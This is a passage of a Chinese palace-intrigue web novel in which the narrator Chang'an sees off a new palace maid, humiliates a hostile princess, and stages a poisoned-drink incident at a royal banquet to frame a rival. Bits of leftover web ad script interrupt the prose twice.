我道:“不至于,宫门下钥那得什么时辰了,不用等到那么晚,再说咱们又不是在内宫,大汉和老唐规矩不一样,只有内宫才按时辰下钥禁止出入,除非边关告急,有人谋反,皇帝下旨,才能开钥。咱们这是在外宫,就算是太阳下山,也不会禁止外宫办理未尽事务,放心吧,宫人们会加班加点把这些良家子都登录完的,宫里缺人手的很,他们还怕夜长梦多这些姑娘们临时变卦呢。再者人们也都有数,太晚就不会有人再来了,定是要明天再来排队的。” 34. 守宫 魏宁儿有些心绪不宁,对自己未卜的前途也十分担忧,一副惴惴不安的样子。 “你放心,你进宫以后,我会帮你打点好,我不劝你明哲保身,也不教你安身立命,你只要自信,好好做你自己就好。”我指了指她的背包,道:“不妨一起看会儿书啊。”喝了口茶,对着小黄门称赞:“小公公有心了,居然上了这么好的茶。” 小黄门笑着说是应该的。 “姐姐,紫衣姐姐。”平安朝着远处招手。 登记造册后,就是验明正身,需要良家子们摘掉围帽,查看五官,并在胳膊上点上守宫砂,紫衣准备进入围帐,一摘下围帽,便被眼尖的平安看到了。紫衣朝平安挥挥手回应,便查看一番点了守宫砂,被人引进宫去了。 “她不是给放出东宫了吗,怎么又要入宫?”平安不解。 我叹了口气,“原来我也是好心,如今想来,她被太子一招选中,虽未侍寝,但到底说不明白,又曾一时风光,即便回到惠王府上,惠王多有照顾,但私下姐妹们相处定不如从前那般自在。”我看着书,喝着茶,慢慢的道:“人生不走回头路,大多时候不是不能走,是不好走,看似什么都没变,其实什么都变了,她回不去了,在东宫吃苦遭罪,在王府也不如意,入宫是个好出路。” “宁儿妹妹,紫衣姐姐人可好啦,你在宫中一定要和她好好相处。”平安对魏宁儿说道。 我闻言看了一眼平安,平安后知后觉缩了缩脖子道:“我是不是多嘴了?” “不是,你也是好心,当初我对郑清紫衣姐弟的一番作为,也是好心,不是什么多嘴多事,只是结局咱们不好把控。宁儿和紫衣是陌生人,紫衣人好不好,要她们相处下来,自己体会才对,咱们不好给宁儿先入为主替她做判断,万一两人脾气不合,意见相左,伤心怨怼,岂不是辜负了你最初的一片好心?”我说着,对魏宁儿道:“你是我看中的人,我相信你有自己的处世之道,平安的话你自己判断,紫衣,你自己决定是否结交如何结交,不必顾念我们。” 魏宁儿点点头。 堂邑夫拿着户籍回来,说原本是和魏宁儿兄嫂好一顿拉扯,可是魏宁儿父亲拖着病体出来,送上户籍,竟是一两钱也没要。 兄嫂自是不愿意,魏宁儿父亲说这钱不该要,要是宁儿被选入宫中,庄子上自会有人送来宫中下放的银子,以后每月也会有月例银子,不该得了便宜还贪得无厌。 兄嫂懊悔不已,埋怨早知道这样,起初堂邑夫随意说个数他们就该答应。 魏宁儿母亲还给她收拾了一些换洗衣物和女儿家贴身用的东西,说这些东西宫中自然是有的,但总不比自家的合心意。堂邑夫拿着户籍,背着包裹,向着魏宁儿父母郑重行礼就告辞了,不再理会纠缠不清的兄嫂。 魏宁儿眼含泪水,接过户籍和包裹,哽咽不能自已。小黄门领着她去登记,验明正身。本来点完守宫砂就要入宫的,怎料小黄门做事贴心,又引魏宁儿回来与我们告别。 “一如宫门深似海,从此……”平安想了一下,堂郎,好像不大好听,索性道:“这个男人就是路人了。” 魏宁儿点点头,最后深深看了一眼堂邑夫,堂邑夫也告别道:“宁儿妹妹,要是在宫里有人欺负你,你就和我说,我帮你出气。” 我道:“宁儿,天高任鸟飞,海阔凭鱼跃,祝你以后步步高升。” 我们一直把魏宁儿送进宫门口,折回来的时候平安被守宫砂吸引了,非要过去看看。堂邑夫不好跟着,便到远处宫门口等着我们。做查验点砂的姑姑们都给小黄门面子,且她们本身就仪态得体,和颜悦色,端庄持重,气度不凡,并不计较平安的不拘,我们在一边观看,也不打扰她们行事,专门负责守宫砂的姑姑还跟我攀谈起来,夸我这小童儿机灵可爱又漂亮。 太子车驾进了宫门,众人行礼跪拜,太子仁德不愿打扰宫女采选事宜,叫众人平身,照常做事。太子车驾进入外宫前,要经过仔细检查,趁着这会儿功夫,韩燕熙过来问我们在干什么,我们如实相告,他看着很兴奋的样子,快步回去,到太子车驾前说了什么又跑回来。 宫里谁不认识韩燕熙,谁不知道他什么尿性,都对他视若无睹,只有那些带着围帽的良家子,羞怯怯的看他,躲他。 平安让姑姑给她在小臂上也点了一个守宫砂,红砂瞬间浸入皮肤,平安摸了摸,惊奇地发现,守宫砂像是天生长在她皮肤里的朱砂痣一般,怎么也擦不掉了,平安惊喜道:“咦?真的不掉,长安你看真的不掉,这是什么原理啊?”平安一边擦,一边问我。 “还能是什么原理,原理就是……就是你很纯洁呗。”韩燕熙看着平安白皙手臂上红红的守宫砂说道,微微脸红,喉结上下滑动了一下。我自然知晓男人这个反应是怎么个意思,生气的瞪了他一眼,他不屑地回瞪我。 韩燕熙手指点了一下守宫砂,在自己手腕上一搓,守宫砂就像血渍一样化开了。他嘟囔道:还真不一样。 “这守宫砂呢,是用山阳处孵化,破壳而出的雄守宫,从小以朱砂雄黄等至刚至阳的药物喂养,待雄守宫长成,第一次发情时,将其斩杀,晾晒成干,研磨成粉,再用雄性成年发情而未曾交,配的孺子牛眼泪,融合成泥。处子之身属阴体,与这纯阳之物相吸相引,故而点之不溶不落,男子属阳,你看,就像他这般化开了。等到男女交,合,女子纯阴之体被元阳所破,就吸不住这至纯至阳的守宫砂了,到时候自然就落了。”我说的很是直白,围帽下的良家子自是看不见神色,姑姑们听了也脸红。 韩燕熙红着脸低声责备,“长安,你有话直说都到了这种程度了吗?” “哦,事关药理,我给师侄们开堂讲学向来如此,习惯了。”我轻描淡写道:“没请你来听啊,害羞啊,可以不听啊。还在这杵着干嘛?怎么?没你,今儿这宫女选不成啊?个大老爷们儿,上这儿来碍眼,是有多想当公公帮姑姑们的忙?” 韩燕熙被我憋了一下,翻眼瞪我,咬了咬牙。 侧宫门大开,是梁王郡主的车驾,跟着马车旁边的护卫是认识我的,看见我,便对着马车小声嘀咕了几句,郡主下令让马车停下,因为脸上的有伤,她带了半副镶满珠宝的奢华的黄金面具,遮挡住上半张脸,露出精致的下巴。 她仪态优雅地下了马车,先去给太子惠王行礼问安,又叫一众给她行礼问安的人们起身,才走到我面前,很是俏皮可愛的樣子,道:“你就是長安?果然是個長不大又好看的小童兒,你的藥真的很好用,多谢啦。” 好吧,我收回刚才对她的评价,她一点也不俏皮可爱。我微笑行礼,道:“为郡主效力,实在荣幸。” 郡主并不理我,只看着还在搅拌守宫砂一脸若有所思的韩燕熙,走到他身边,柔声道:“燕熙哥哥你在这里做什么?” 韩燕熙正在想什么事情,并不想理她,躲了躲身子,冷声道:“没干什么,你该干什么干什么去吧。” 郡主也不恼,只站在他身边静静看着,好像对守宫砂也很感兴趣的样子。 我和平安行礼告退。 郡主听见平安的声音,一下子就认出围帽下的,是和她竞价抢东西,被她打的那个女子。她眼中阴狠一闪而过,把我们叫住,牵起平安的手,好似关系要好的姐妹一般,“不打不相识,昨天是我做得不对,不过我也摔车虚惊一场,幸好有你……我听说你们是兄妹对吧,你们兄妹还真是……呵呵……幸好你兄长的药不错,我就原谅你之前的失礼了。” 她两声呵呵笑得我忍不住蹙眉。 她还真是什么话都说得出口,平安不着痕迹抽回手,行了一礼,“多谢郡主恩典。” 我气得不行,我妹妹被她打了,还要多谢她恩典。哼,死丫头,你给我等着。 韩燕熙躲开又要纠缠的郡主,跑回太子车架,对着太子道:“殿下咱们打个赌啊。” 同乘的惠王也饶有兴致,俯身过来。 “赌什么?”太子端坐车上,这个时辰,这个角度,华盖是遮不住阳光的,惠王用折扇给太子殿下挡了挡阳光,太子示意不必,惠王便吩咐张子文让检查的侍卫们快一些。 韩燕熙笑地讳莫如深,“赌这个?”下巴指了指手上,给他们展示一下手上的守宫砂,一脸坏笑。太子惠王一脸疑惑,忽然惠王想到了什么,蹙了蹙眉头,正想要说什么,却见韩燕熙指尖一弹,一滴守宫砂飞了出去…… 彼时,我正和平安给郡主再次行礼告退,转身便走,却又被郡主叫住 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,回头——说时迟那时快,只见郡主将整罐守宫砂举过头顶,向着平安砸过来,平安吓得一声惊叫,慌张不知躲避。 我却勾唇一笑,袖中翻腕,手下运气,捏指发力,顷刻间对着郡主,守宫砂罐子和罐子口,连弹几下。紧接着郡主脚下一滑,整个人仰面摔倒在地,脱手的守宫砂罐子不偏不倚,正正好倒在她脸上,她吃了一嘴,呛的咳嗽,精致的下巴全染红了……一时间所有人都慌了阵脚,宫人们姑姑们郡主贴身宫女们侍卫们采选的良家子们……好多人上前的上前,躲避的躲避,一下子乱成一锅粥…… 自作孽不可活,正愁没招治你,你自己找上门来,还主动递的刀,我若是不用,那多对不起你啊,啊哈哈哈哈…… 我心中很是快意,趁乱拉着长安就跑,不自觉地摸了摸耳后,刚才耳后一凉,仿佛有一股若有似无的内力向我袭来,没有杀气,我也没警觉没在意,顺着内力的方向看去,只见韩燕熙一脸坏笑的看着我们这边,太子和惠王也扒在车驾边上,探出身子,转头一脸紧张地往我们这边看。 太子叫我们过去,我和平安对视一眼,又看了看郡主那边的慌乱…… 走过去,对着太子行礼,我低着头弱弱地道:“郡主是自己摔的,是她先想害平安的。”明知道刚才是暗中下手,一般人很难看出来的,但我还是有些心虚,我料想韩燕熙定是看出端倪跟太子告状了,他刚才的坏笑,绝对是作恶了,哼。 见太子不言语,拧着眉头表情严肃,看着我若有所思,我心中大骇,太子殿下向来仁慈温和,从来不曾这般晾着我。 我正躬身行着礼,却也忍不住侧头瞪了一眼不知在想什么的韩燕熙,这厮想必一定已经给太子告我状了。太子是不是对我很失望,用守宫砂毁坏郡主容貌……可那也是郡主使坏在先啊,我,我还是赶紧跪地磕头行礼求饶吧。 想到这儿,我赶紧拉着平安,跪在地上俯身叩首低头不语,等着太子发落。 我感觉太子和惠王不顾仪态,起身弯腰伸头探出马车,几道目光紧紧盯着我的后脑勺。我正忐忑,想着三寸不烂之舌又要派上用场,正要大展身手,太子和惠王坐了回去,就叫我们退下了。 我“嗯?”了一声,显然没反应过来太子的操作,平安也好生疑惑,不过我俩都松了口气,我心中大声叫好,太子这是放过我们啦,啊哈哈哈……趁着郡主那边还没妥当,我俩赶紧谢恩,起身牵着手一路小跑,麻利地逃了。 太子和惠王,韩燕熙看着我们离去的背影,满眼的愧疚。 太子隐忍着怒气,斥责道:“韩燕熙,你过分了。” 韩燕熙也没见过太子这般盛怒,赶紧卑躬行礼,神色严肃。 惠王紧握着拳头,压低声音,怒道:“她一副残躯,是男是女又能如何?她又不是个正常女子,你给点了守宫砂,她岂不是要带一辈子?” “刚才的时机太好太寸了,我几乎本能的出手,根本没思考啊,我……我这会儿也后悔了。”韩燕熙愧疚难当,懊恼不已,悔恨起来,竟抬手扇了自己一个嘴巴。“那,那怎么办?” “还能怎么办?以后把她当个小弟弟小妹妹疼着宠着呗!”不等太子发话,惠王就抢先怒道。他真是恨死这个韩燕熙了。 太子闻言,拍了拍惠王以示安抚,长安毕竟是惠王的救命恩人,惠王对长安感情深厚一些也是可以理解的,太子对韩燕熙冷声道:“此事只我们三人知道即可,切不可外露。”说话间,车驾开始前行,缓缓进入正宫大门。 太子叹了口气,对惠王心存侥幸道:“方才看见长安耳后那个守宫砂一半隐在头发里,露出来的还没有半颗豆粒大,不留心,不仔细看,是看不出来的,希望此事今日便罢,再莫生枝节。” 我们跑到堂邑夫这里,堂邑夫一边揉眼睛一边道:“我别是做梦吧,我刚才看见韩燕熙扇自己耳光。” 平安回头瞥了一眼这会儿正跟着太子车驾入宫的韩燕熙,道:“那就是个神经病,做出什么来也不为过,对吧长安?” “对!” 我们出了宫门,骑上马一路上开心的不行,有说有笑——那个郡主上半张脸这几日见不得人,下半张脸怕是要过了新婚夜才能重见天日了,啊哈哈哈哈…… 35. 夜宴 平昭公主怀孕了,听闻此讯,我特地去公主府上拜谒,给她请平安脉。她很是小心在意,让我看了一下她平日的饮食起注,我细细查看说一切妥当。她又让我看了一下府医开的安胎方子,我看了说很好。她对这一胎太过重视,欢喜焦虑皆有余,问这问那,我体谅她的心情,一一作答,她又问我要一副护胎的方子。 我道:“是药三分毒,公主身体康健,胎儿一切安好,不必用药,不然适得其反。对胎儿最重要的是母亲良好的心情,公主要放轻松,你心情愉悦,孩子也开心快乐,你焦虑难安,孩子也会紧张害怕的。” 公主听了赶紧努力平复心情,却又不安道:“我才有了身孕,驸马便无端左迁,他不放在心上,整日里没心没肺似的傻笑,偏我觉得愧疚难安,他……是受了我的牵连。” “愧疚难安,就好好养胎,给他生个健健康康的好宝宝,他都三十一了,盼这孩子也盼了多年了。”我吃着新采摘的水果,继续道:“左迁不左迁的,原也在意料之中,太后那边一定会出手的。只是这次贬谪驸马,陛下没一点异议也有其深意。太后这口气压着也好些时日了,非要贬谪驸马出口恶气不可,早晚而已。这个节骨眼上,陛下顺水推舟,给太后梁王一个情面,表面看着是让太后既打压一下驸马,又挫一下太子这边的锐气赢下一局,其实是想让驸马暂避一时,正好借这个机会,闲赋在家陪你养胎,陛下是很爱护你们夫妻的。” 平昭公主听了我的话,思索一番,觉得甚有道理,一扫阴霾,非要留我等驸马回来一同用膳。 我问驸马去哪了,公主说:“我叫他去街上采买明日夜宴给一众兄弟姐妹的礼物。” “公主去吗?”我问道。照公主这般谨慎小心的样子,想来夜宴不会去吧,驸马一个人赴宴,是不是多少有些尴尬啊,如此还不如两口子都不去。 公主看出我的心思,笑了笑道:“原有孕在身是不方便去的,可这是兄弟姐妹们聚的最齐的一次,也是驸马第一次和所有同辈的兄弟姊妹见面,我是要陪着的。”公主抚了抚平坦的肚子,“我原本是犹豫着的,让驸马买好礼物先备着,想着是夫妻同去,还是驸马独自赴宴,又或者干脆都不去了。方才听你一席话,才下定决心,你说得对,过犹不及,我也不能太过小心了,多出去走动走动,多活跃活跃心情,对我对孩子都好。” 正说着,驸马回来了,进门就说分开这一会儿,甚是想念,说着就毫不顾忌的当着我的面,趴在公主肚子上听。 我和赵桓上一次见面还是公主大婚时,当时就称兄道弟。饶是如此,公主也有一些脸红,将他推开,示意我在。 赵桓按捺不住欢喜,问我:“长安君,我听闻隔着母亲肚子就能听见孩子心跳,孩子在母亲腹中还动来动去,甚至拳打脚踢的是也不是?” 我哈哈乐道:“确实如此,可是现在你和公主的小宝宝只有……”我说着举起手,用食指和拇指比划了一下,“只有蚕豆那么大,驸马耐着性子等等,十月怀胎,一朝分娩,说来也快。” 赵桓自己用手比了一下,自言自语道:“这么小,才一颗蚕豆子这么大啊!” 公主见他那副傻傻的样子,可爱至极,呵呵乐起来。 柳花郎醒了,他本来就有很强的破碎感,醒来以后几乎都要碎成粉末儿了,他悲戚不已地告诉我一个很不幸的消息,由于他求知若渴,在知识的海洋里过度畅游,废寝忘食,孜孜不倦,揠苗助长,为了早日更上层楼,终于不慎猝死,大概以后是梦不回去了。 我问他学了多少知识,他说死亡对他灵魂的冲击太大,心灵上造成不可磨灭的打击,学富五车的知识……他一下子给忘了,暂时记不清了。 看着他悔恨不迭的样子,我无语至极,握了握攥紧的拳头,深深叹了口气,唉,生就得骨头长就的肉,柳花郎天生仙骨,也天生下贱命,还是专心致志的做他的天下第一乐师吧。 梁王的元欣郡主,内心也是足够强大,前两天见她,她戴半副金面具遮住上脸,这次夜宴见她,她又戴了半副由无数颗细小珍珠编织的面纱遮住下脸和脖子,手上戴了一副金丝手套。 夜宴上元欣郡主不方便畅饮,却也落落大方,与一众兄弟姊妹欢声笑语。 大公主荣玥二公主荣珺都与她相谈甚欢。 反观长公主家的高阳郡主,也就是太子的未婚妻陈娜娜,穿了一身月沙白,妆容淡雅,整个人力求低调,却艳压群芳。 她特意坐在角落,遗世独立,对谁都冷冷的,只对邻座的秦王回以温和浅笑。便是秦王的两个嫡亲妹妹大公主荣玥二公主荣珺的主动热情,她也是彬彬有礼,回应有度,没有疏远,也绝不亲近。她对太子没有表现出明显的嫌弃,但掩饰的却并不好,夜宴上她对太子简直视而不见听而不闻,除了一开始与大家一起举杯敬酒,就再也不曾将目光放在太子身上过,甚至刻意回避。 太子端坐台上,一举一动,端庄持重,温文尔雅,人如良玉,我只觉得他宛如这世间的神明,皑如山上雪,皎若云间月,光彩照人,简直让人挪不开眼。 陈娜娜那个睁眼瞎子,不是城府太深,就是装得太甚。太子的相貌是不如秦王好看,是比她大了十多岁,可是男人要那么好看的皮相做什么,年龄也没大到可挑可嫌的地步,二十四五正是男人好时候,十四五岁的半大小子,干干巴巴的,嘴巴上毛都没长全,用花铁铁的话说就是嫩瓜秧子一个,有什么乐趣。她还不乐意,还委屈上了。 我心里不禁为太子殿下打抱不平。 我是不能入席的,就像太子的伴读,即便是最受太子喜爱的韩燕熙,也只能坐在太子一侧,侍奉酒水布菜等。 惠王就让我坐在他身边,假装伺候酒水,给他布菜,可其实他并不饮酒,只跟着大家在开席的时候,以茶代酒敬了太子一杯,菜也不怎么吃,只叫我多吃些。然后就赏舞听歌,看着邻席的平昭公主夫妇恩爱,一脸欢喜。 夜宴过半,柳花郎和平安上演了一出《梁祝》短剧,一共三幕,从梁山伯与祝英台相识相知于学堂,到相恋相许终身却被生生拆散,最后哭坟殉情化蝶相伴相守于天上…… 落幕,大家都纷纷落泪,沉浸在这凄美爱情中,难以自拔。仁善的太子,伤心落泪,久久不已…… 我痴痴的望着他,他悲悯众生,能够对 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人间疾苦,情爱纠葛,愿意难平,感同身受……泪珠从他的眼角一路流淌,从胡青干净整洁的下巴上一颗一颗滴落,在灯光下,莹莹若钻石,颗颗闪耀……我真的很想上前给他擦拭,将他的泪水折叠进帕子里,珍藏。 许久大家才从歌舞剧中回过神来,意犹未尽,讨论起来。 陈娜娜不知何时已经离席了,元欣郡主发表着与大家不同言论,与人争辩,言辞犀利。 明明是歌颂梁祝两人的美好爱情,对爱情的忠贞,至死不渝的精神。她却从礼教出发,认为这种爱情一开始就不该有,祝英台害了梁山伯,死有余辜下场凄苦罪有应得。 惠王问我,怎么这么安静。 我只道,这种场合不是我能说话的,而且我师父说越是不想听谁说话,就越是要赞同谁的观点。 惠王呵呵一笑。平昭公主和赵桓也呵呵一笑,上席的德王问笑什么,平昭公主小声嘀咕了两句,德王也呵呵一笑,靖王又来问……于是,大家都呵呵一笑…… 原本夜宴就是让大家聚在一起,暂时忘记规矩礼仪,无拘无束,轻松一下。可偏偏有人,满口的礼仪道德,规矩章法,搞得大家都拘拘束束的,放不太开。有些人呢,平时大概很少有这种机会展现自己,可偏偏自己也没什么好展示的,唯有一身的端庄持重,仪态万千,值得炫耀,便更加做到极致,反而过犹不及,让人如在樊笼,不得自在。 今日这场声势浩大的夜宴,还不如那日在画舫的小宴上尽兴,原本是要召见柳花郎和平安上殿的,这一场争论下来,元欣郡主占了上风,他们的演出便也成了上不得台面的了,不责罚就不错了,更莫说领赏了。众人顿觉意兴阑珊,尤其是德王和靖王,见太子不言语,二人很是讪讪,硬着头皮赔笑。 夜宴最后,宫人们上了酸梅汤,为大家消暑解腻。 平昭公主的酸梅汤,打我和惠王眼前过,我不经吸了吸鼻子,跟着酸梅汤一路闻,端着酸梅汤的宫女从身边过去,我也伸着脖子作势又闻了闻,动作表情很是刻意。 惠王笑着问我怎么了?说着将自己的酸梅汤端给我,道:“你也有。”我抬手示意他不要说话,见众人目光差不多都被我吸引过来,才有了下一步动作。 “公主,别喝。”我起身过去,眼疾手快,一把抢过平昭公主端起正要入口的酸梅汤,闻了闻,大声道:“这里面果然被人加了滑胎的东西。” 公主闻言,花容失色,惊叫一声,捂着小腹,躲进驸马怀中,低声哭泣。上酸梅汤的宫人们,闻言吓得跪了一地。 我浅尝一口,点点头,端着酸梅汤走到大殿中,对着满脸难以置信,忍而不发的太子道:“殿下,这酸梅汤确实被人加了东西,可封存起来,让太医前来查验。” 太子道:“不必,你的医术众人皆知。”他顿了顿,收起怒气,心有余悸道:“好在有你,姐姐和腹中孩儿并没有受到伤害。”驸马怀抱着公主,不能行礼,只向太子深深点头感谢太子关心照拂。 太子一脸惭愧,咬了咬下颚,站起身,冷冽道:“敢在本宫的夜宴上做手脚,戕害有孕在身的公主,实在天理不容罪无可赦,来人……” 36. 罪魁 驸马赵桓和平昭公主商量了什么,在太子下命令扣押所有宫人之时,驸马赵桓开口打断太子,起身走到大殿中,跪下行礼,道:“殿下且慢,容臣斗胆禀报,对方既然敢在太子殿下的夜宴上出手,定是做了精心的谋划,想必兴师动众查来查去,最后也不过不了了之,徒劳罢了,在座的都是自家兄弟姐妹……传出去不好,又大多年幼,别吓着他们。” 我就在跪他左后方,正看着被我放在身前地上的酸梅汤,等待事情进一步朝着我预料的方向发酵,谁知赵桓竟这个时候跳出来,大有大事化小小事化了的意思,我噘着嘴巴不情愿的样子,抬头看了看他高大的侧影,又看了看低头抹泪的平昭公主,和正在安慰姐姐的惠王,最后又看了看太子。 太子沉默了良久,赵桓的话他是明白的,吓着倒不至于,关键都是自家兄弟姐妹,夜宴上出了这样的事,传出去说什么的都有,本来是皇族兄弟姐妹一家亲,结果却成了宫廷兄弟姐妹互相暗中残害,违背夜宴的初衷不说,皇家颜面往哪搁? 太子好像做了很大的忍耐,平昭公主一再向他点头示意,太子才一脸愧疚和感激,闭眼下定了主意,睁开眼睛时,已经恢复了往日的温和持重,道:“如此便依驸马之言,但此事我会上奏给陛下和太后知晓,定是要还你们一个公道。今日夜宴,到此为止,众位兄弟姐妹请回吧。” 嗯?这就算了?那我的一番安排岂不是要作废了?这俩人,懂不懂什么是宫斗啊,赵桓那个武夫就算了,老刘家也把持皇权不少年了,太子也这样不谙世事的吗?你个太子不深谙此道我都觉得不可思议,你还涉世未深的样子,你多冒昧啊?原本这一碗加料酸梅汤,我是要四两拨千金的。哦,你俩倒好,一个圣母怕吓着兄弟姐妹,一个白莲花依驸马所言,就这么就给我算了?可笑,皇家的孩子受点惊吓算什么?我很是不甘心,却也只能退到惠王身边跟着退席,不动声色…… 平昭公主拉着赵桓的手道:“就当给孩子积德了,咱们回府就再别出来了吧!” “嗯,好。”赵桓一脸担忧的点点头。 我跟在后面,低声气道:“好个屁,罪魁不除,祸心不死,躲得了初一还躲得过十五啊,这么好的机会都不把握,偏偏要放虎归山,就算以后足不出户也得日防夜防啦,不怕贼偷就怕贼惦记,这往后的日子,你们放心这些个兄弟姐妹一个也吓不着,你们两口子还有个舒心日子过啊?我真是服了!我都不想说你我的公主,放过敌人能给自己孩子积什么德诶?” “长安你以后住我府上吧,有你在我安心。”平昭公主放慢步子,牵着我的手边走边道。 “我不要,我再给你两口子气死。”我还在为刚才他们俩的决定愤愤不平。 “长安君,道理我和公主怎么会不懂呢?但这是太子殿下的夜宴,不好闹出风波来。”赵桓低声回道。 “你们越怕把事情闹大,他们反而越肆无忌惮,就是欺负你们心胸宽明事理顾大局,唉,所有的伤害都是权衡利弊过的,这是没出事,你不当回事儿,真要出了事后悔就晚了,蚕豆子那么大,滑胎下来就是一滩血块,你哭都没地方哭。”我的言论把平昭公主吓得手抖冰凉,腿一软倒在赵桓怀里。 走在前面的太子听到动静回头一看,赶紧过来慰问,惠王把我拉到一边僻静处,蹲下身子,握住我的双肩,严肃的看着我,在我耳边低声道:“长安别吓我姐姐,他们做这个决定也是有苦衷的,哪个父母愿意轻易放过伤害自己孩子的仇人呢?今日幸亏有你,没出大事,既然没出事,就不好让太子担责。想想当初,你怎么劝我的?生在皇家,有时候没吃到大亏,就是赚大便宜了,好些事不能捅出来揪着不放!” 闻言我点点头,我明白自从赵桓娶了平昭公主,就算是明着站太子了,从此以后他是太子在南军的主力,太子是他和公主的终生依仗,君臣互相成就互相助益。我是有些自责把这件事安排在太子的蓬莱夜宴上的,但却不后悔,因为机不可失时不再来。下次再有这样的机会,不知何时何地,也不知道整个局面还能不能被我全全把控,或者等不到下次,平昭公主就惨遭毒手了。我必须做到前头。苦衷谁都有,但只要初心目标是好的,我其实并不在意手段和过程,代价总要付出一点,太子的名声和小宝宝的安危比起来,我想太子殿下也会自有决断。 惠王说得对,有些事是不能捅出来揪着不放的,可有些事,不捅出来不行啊,不但要捅出来,还得大张旗鼓,人尽皆知…… 可巧,元欣郡主的贴身姑姑,在码头扶郡主上船时动作大了一些,于众目睽睽之下,从袖兜里甩出一个荷包,我眼疾手快随手捡起来,正要赶上前给她,却顿住了,高声“咦”了一下,满脸狐疑,拿在手里闻了闻,神态严肃,叫人将火把拿的近些,竟然翻出一些红花残渣来,大声惊道:“平昭公主酸梅汤中正是此物!” 元欣郡主的贴身姑姑,闻言慌张惊惧,跪在地上矢口否认,面对众人各种猜疑和愤怒的神色,一时间白口莫辩,只一个劲儿对毒害平昭公主一事,抵死不认,最后竟将自己的腌臜事说了出来,原来她与人私通,珠胎暗结,这红花是她给自己用的,红花前些日子就用完了,剩下这点残渣而已。 我察看她的气色,又上前把脉定诊,对着太子点点头,道:“确实是刚打过胎的。”怪不得这姑姑身上虽然熏香浓郁,但总觉得一股血腥味,还以为是她来癸水了。她这会儿更加虚弱,面色蜡黄,有气无力的,身上血腥更加重了,好在夜色遮掩,众人看不到她下身的血污,竟是才打了胎,也不敢休养,到底做下大孽,在劫难逃,若是今日不来,倒也躲过去了。不过她怎么会不来呢?这位姑姑可不是省油的灯! 这……众人一阵惊诧,面面相觑,贵女们简直脏了耳朵一般,退避三舍。 那酸梅汤这事情就妙了,案子说不难定也不难定,里面文章大有可为,梁王想脱身,不扒层皮也得惹一身骚,可说难定也难定,梁王背后是太后,若太子和陛下着令刚正不阿地查下去,基本上也就到这个姑姑这里了,最后血亲之间种下更深的怨恨,无非就是逼得对方以后出手更加快准狠一些,总之,得不偿失。 在场的人都是心知肚明的样子。 平昭公主又惊又吓,一阵阵犯恶心,身体不适,只道,不想追究。又特地吩咐我今晚跟着惠王去她府上一趟。便与驸马上了船和大公主二公主陈娜娜等人先行离去。 元欣郡主的贴身姑姑出了这等丑事,刚才满口道德礼法的她简直羞愤欲死,丢下自己的贴身姑姑,捂着脸骂骂咧咧上了另一艘画舫,不等别人登船,便下令离开。 宴会结尾弄成这样,众人都不光彩,好在平昭公主和胎儿没出事,驸马和公主又不想闹大,只想快速平息此事。太子下令此事不得外传,吩咐梁王府上的护卫将人带回交由梁王自行处置。这其实是给梁王一个面子和转圜的余地,亲侄子给送上的台阶,梁王自然承情顺势下来,从此事中摘了出来。到底还不到撕破脸皮的时候,且让梁王做自家丑事处理了吧。太子这样处理是很得体的,也是我预料之中,该捅出来的我也捅出来了,该大张旗鼓的,大家也都知晓了,还没出手的也不想出手了,该防备的也加强了警惕,这样结局很好…… 当晚去平昭公主府上,给她调理一番,就和惠王一同留宿了,第二日,艳阳高照。 大家对昨晚红花一事都一副了然于胸的样子,可是大家思来想去,不禁被梁王蠢笑了,韩燕熙道:“梁王这一招,是不是太蠢了。” 众人都是同样的表情,“要是梁王对驸马不死心,一心要夺回驸马这个乘龙快婿,怎么会在这个时候下手——公主才传出有喜,又是在殿下的夜宴上!?且手段这么幼稚愚蠢,去子留母——驸马依旧不能孑然一身另娶郡主,真要下手不应该直冲公主吗?而且最不合理的是,怎能让爱女身边的人下手。偏又仿佛高深莫测的样子,滴水不漏的做好了万全的准备——为防事发以后能将自己摘除干净,竟然事先让姑姑有孕并用红花堕胎,以备自证,如此麻烦,混淆视听,竟不顾及郡主名节?”张子文一边思考一边分析,觉得对方走的每一步都不可思议。 韩燕熙越想越觉得梁王这样低能,实在不配做他们的对手,“这都是什么操作?听说梁王常年招徕江湖游侠散勇,近来更是奇人异士云集门楣,难道身边的谋士就是这种水平吗?” 太子思考了一会儿,沉稳道:“倘若滴水不露,反而做实了梁王,就是要这样粗浅低劣的手段,才好。” 张子文稍稍思考,对太子简直崇拜的五体投地,“殿下说的甚是,梁王此举我们尚且不能信,说出去更没人信,定是梁王想到,天下没有不透风的墙,倘若事发,查到最后一定会查到他身上,索性就让这忠心不二的姑姑出来顶罪,就说郡主心悦驸马,却不想让公主抢了先,这姑姑心疼自家郡主便怀恨在心,正好她私德不检,于是私自做主报复公主,利用自己堕胎所用的红花戕害公主腹中胎儿。如此一来众人皆信,好一招障眼法,好一招金蝉脱壳,好一招反其道而行!” 大家都点点头,认为这才说通。 我道:“好一招个屁,简直狗屁不通。” 众人都看着我,惠王蹙眉,小声责备我道:“长安,不许放肆。” 我知道惠王是爱护,怕我冲撞了太子,先行斥责。我道:“这么愚蠢的招,梁王怎么会用呢?这招啊,我用的。”我一脸轻松和不在意的样子,见众人不解,又道:“那长安城里的药店和我师兄的医馆交集甚多,我原本想着自己买药动手嫁祸与人,咳咳,那人家也没少对咱们太子出手,没少嫁祸咱们太子,没少害咱们太子,那殿下的太傅少傅到现在还在狱中呢。”我见众人听闻“嫁祸”二字,神色皆是一敛,咳咳两声,赶紧给自己找补,解释说明,力证自己动手嫁祸的合理性。 我见众人一副支持我的样子,便继续说道:“我原本想着让师侄给我弄点车前子,岂料派去办理此事的师侄,就是那天平安挨打跟着一同去逛街的,他记性好当即认出同在药店买药的女人便是郡主贴身姑姑,一看买的竟是红花,便留了个心眼儿,回来跟我特意说了一下情况。于是我就有钱能使鬼推磨,去梁王别宫稍稍打听了一番,掌握了一点信息,经过一番谋划,就想出打草惊蛇这一招啊。” 众人听完,感觉好似明白了,又好似一头雾水。 庄助忍不住道:“打草惊蛇这招不都是用在对方身上吗?你?打草惊蛇都惊自己一方嘛?咱们是蛇?咱们还是打草的棍子?咱们自己打草,惊咱们自己,让人看着?” 这个庄助,还怪会分析的,我投去赞赏的目光。 